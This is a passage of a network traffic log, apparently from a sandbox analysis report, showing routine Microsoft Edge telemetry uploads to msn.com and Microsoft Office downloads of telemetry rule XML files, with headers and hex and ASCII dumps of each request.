2024-10-28 17:43:42 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:42 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174342Z-16849878b78p8hrf1se7fucxk8000000069g000000004ed9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:42 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	63636	13.89.179.13	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:43 UTC	1034	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730137419928&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11304 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1; msnup=
2024-10-28 17:43:43 UTC	11304	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 38 54 31 37 3a 34 33 3a 33 39 2e 39 32 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 62 36 39 34 31 37 66 2d 31 66 66 36 2d 34 34 34 31 2d 61 30 61 32 2d 31 31 65 39 39 31 64 33 63 65 33 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 35 32 32 38 35 38 33 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-28T17:43:39.926Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"1b69417f-1ff6-4441-a0a2-11e991d3ce3d","epoch":"2252285831"},"app":{"locale
2024-10-28 17:43:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=25b88d66e46443e8a5fb57396ecbee01&HASH=25b8&LV=202410&V=4&LU=1730137423189; Domain=.microsoft.com; Expires=Tue, 28 Oct 2025 17:43:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=eb4b0c6915434aa9921e9edb1f6d94fc; Domain=.microsoft.com; Expires=Mon, 28 Oct 2024 18:13:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3261 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 28 Oct 2024 17:43:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	63639	13.89.179.13	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:43 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730137419938&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4843 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1; msnup=
2024-10-28 17:43:43 UTC	4843	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 38 54 31 37 3a 34 33 3a 33 39 2e 39 33 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 62 36 39 34 31 37 66 2d 31 66 66 36 2d 34 34 34 31 2d 61 30 61 32 2d 31 31 65 39 39 31 64 33 63 65 33 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 35 32 32 38 35 38 33 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-28T17:43:39.936Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"1b69417f-1ff6-4441-a0a2-11e991d3ce3d","epoch":"2252285831"},"app":{"locale
2024-10-28 17:43:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=24da3054ec6e477f89aa5c1ceae8273a&HASH=24da&LV=202410&V=4&LU=1730137423299; Domain=.microsoft.com; Expires=Tue, 28 Oct 2025 17:43:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=13376b82aa70481c8ff57c73190c0cf7; Domain=.microsoft.com; Expires=Mon, 28 Oct 2024 18:13:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3361 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 28 Oct 2024 17:43:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	63638	13.89.179.13	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:43 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730137420592&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5049 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1; msnup=
2024-10-28 17:43:43 UTC	5049	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 38 54 31 37 3a 34 33 3a 34 30 2e 35 39 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 62 36 39 34 31 37 66 2d 31 66 66 36 2d 34 34 34 31 2d 61 30 61 32 2d 31 31 65 39 39 31 64 33 63 65 33 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 35 32 32 38 35 38 33 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-28T17:43:40.590Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"1b69417f-1ff6-4441-a0a2-11e991d3ce3d","epoch":"2252285831"},"app":{"locale
2024-10-28 17:43:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=98775a60f23f4ad2b57142ff2a62f7b6&HASH=9877&LV=202410&V=4&LU=1730137423301; Domain=.microsoft.com; Expires=Tue, 28 Oct 2025 17:43:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c5c85701ee63412fb374974ea35dd052; Domain=.microsoft.com; Expires=Mon, 28 Oct 2024 18:13:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2709 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 28 Oct 2024 17:43:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	63641	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:43 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:43 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174343Z-16849878b78qg9mlz11wgn0wcc00000004zg0000000070a6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	63642	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:43 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:43 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:43 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174343Z-16849878b786fl7gm2qg4r5y7000000005m000000000g6g8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:43 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	63640	13.89.179.13	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:43 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730137420944&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9877 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1; msnup=
2024-10-28 17:43:43 UTC	9877	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 38 54 31 37 3a 34 33 3a 34 30 2e 39 34 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 62 36 39 34 31 37 66 2d 31 66 66 36 2d 34 34 34 31 2d 61 30 61 32 2d 31 31 65 39 39 31 64 33 63 65 33 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 35 32 32 38 35 38 33 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-10-28T17:43:40.943Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"1b69417f-1ff6-4441-a0a2-11e991d3ce3d","epoch":"2252285831"},"app":{"loc
2024-10-28 17:43:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7864929904c04fdf9875dcac98f670ee&HASH=7864&LV=202410&V=4&LU=1730137423594; Domain=.microsoft.com; Expires=Tue, 28 Oct 2025 17:43:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=fddf7beb660e423b8126f01498d53557; Domain=.microsoft.com; Expires=Mon, 28 Oct 2024 18:13:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2650 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 28 Oct 2024 17:43:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	63643	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:43 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:43 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:43 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: f29ba936-801e-0047-2ef2-247265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174343Z-r197bdfb6b4wmcgqdschtyp7yg000000055000000000dtka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:43 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	63644	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:43 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:43 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: fae3f4c7-d01e-0017-0559-27b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174343Z-15b8d89586ffsjj9qb0gmb1stn00000009mg0000000043fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	63645	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:43 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
